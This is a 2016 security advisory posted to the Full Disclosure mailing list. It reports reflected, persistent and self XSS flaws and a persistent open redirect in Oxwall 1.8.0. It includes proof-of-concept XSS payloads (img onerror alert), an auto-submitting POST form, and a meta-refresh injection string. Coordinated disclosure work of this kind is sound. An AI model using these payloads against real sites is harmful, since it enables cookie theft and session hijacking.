[<prev] [next>] [day] [month] [year] [list]
Message-ID: <0MdH7v-1bSkTH0kdP-00IXSo@mrelayeu.kundenserver.de>
Date: Thu, 15 Sep 2016 17:03:55 +0200
From: "Curesec Research Team (CRT)" <crt@...esec.com>
To: fulldisclosure@...lists.org
Subject: [FD] Oxwall 1.8.0: XSS & Open Redirect
Security Advisory - Curesec Research Team
1. Introduction
Affected Product: Oxwall 1.8.0 (build 9900)
Fixed in: 1.8.2
Fixed Version Link: https://developers.oxwall.com/download
Vendor Website: http://www.oxwall.org/
Vulnerability Type: XSS & Open Redirect
Remote Exploitable: Yes
Reported to vendor: 11/21/2015
Disclosed to public: 09/15/2016
Release mode: Coordinated Release
CVE: n/a
Credits Tim Coen of Curesec GmbH
2. Overview
Oxwall is a social networking software written in PHP. In version 1.8.0, it is
vulnerable to multiple XSS attacks and a persistent open redirect.
The XSS vulnerabilities are reflected as well as persistent, and can lead to
the stealing of cookies, injection of keyloggers, or the bypassing of CSRF
protection.
3. Details
XSS 1: Reflected XSS
CVSS: Medium 4.3 AV:N/AC:M/Au:N/C:N/I:P/A:N
When performing a ping request, the method value is echoed unencoded, leading
to reflected XSS.
Proof of Concept:
<html>
<body>
<form action="http://localhost/oxwall-1.8.0/base/ping/index/" method="POST">
<input type="hidden" name="request" value="{"stack":[{"command":"<img src=a onerror=alert(1)>","params":{}}]}" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>
Code:
ow_system_plugins/base/controllers/ping.php
$responseStack[] = array(
'command' => $c['command'],
'result' => $event->getData()
);
}
echo json_encode(array(
'stack' => $responseStack
));
XSS 2: Persistent XSS
CVSS: Medium 4.3 AV:N/AC:M/Au:N/C:N/I:P/A:N
The name of a photo album is vulnerable to persistent XSS in two places: When
viewing a user profile, and after editing the album. Both of these are DOM
based XSS vulnerabilities, and both of these require some interaction of the
victim, eg hovering or clicking.
Proof of Concept:
0. Register an account
1. Create a new album with the name
'"><img src=no onerror=alert(1)>
2. Visit the users profile:
http://localhost/oxwall-1.8.0/user/[username]
3. Hover over the image belonging to that album
An alternative to steps 2. and 3. is:
2. use CSRF to log the victim into the account with the injected album name
3. Use ClickJacking to get user to click "Edit Album" and then click "Done"
XSS 3: Self-XSS
CVSS: Low 2.6 AV:N/AC:H/Au:N/C:N/I:P/A:N
The chat window is vulnerable to self-XSS. It may be possible to exploit this
issue via ClickJacking in some browsers.
Proof of Concept:
Open a chat and paste the following into the text field (there is no need to send it, although that would trigger the vulnerability again as well):
'"><img src=no onerror=alert(1)>
Persistent Open Redirect
CVSS: Medium 4.3 AV:N/AC:M/Au:N/C:N/I:P/A:N
The real name of a user is echoed inside meta tags without proper encoding.
Tags are stripped, which prevents an attacker from adding new tags, but it is
still possible to add additional attributes to the meta tag, leading to an open
redirect and potentially XSS in older browsers.
Proof of Concept:
1. Register a new user. As real name use:
5;URL=http://google.com/" http-equiv="refresh" foo="
2. Visit the profile of that user:
http://localhost/oxwall-1.8.0/user/[username]
4. Solution
To mitigate this issue please upgrade at least to version 1.8.2.
Please note that a newer version might already be available.
5. Report Timeline
11/21/2015 Informed Vendor about Issue (no reply)
12/10/2015 Reminded Vendor of Disclosure Date
12/15/2015 Vendor requests more time
01/13/2016 Contacted Vendor, Vendor requests more time
02/01/2016 Contacted Vendor, Vendor requests more time
02/22/2016 Vendor releases fix
09/15/2016 Disclosed to public
Blog Reference:
https://www.curesec.com/blog/article/blog/Oxwall-180-XSS-amp-Open-Redirect-148.html
--
blog: https://www.curesec.com/blog
tweet: https://twitter.com/curesec
Curesec GmbH
Curesec Research Team
Josef-Orlopp-Straße 54
10365 Berlin, Germany
_______________________________________________
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: http://seclists.org/fulldisclosure/
Powered by blists - more mailing lists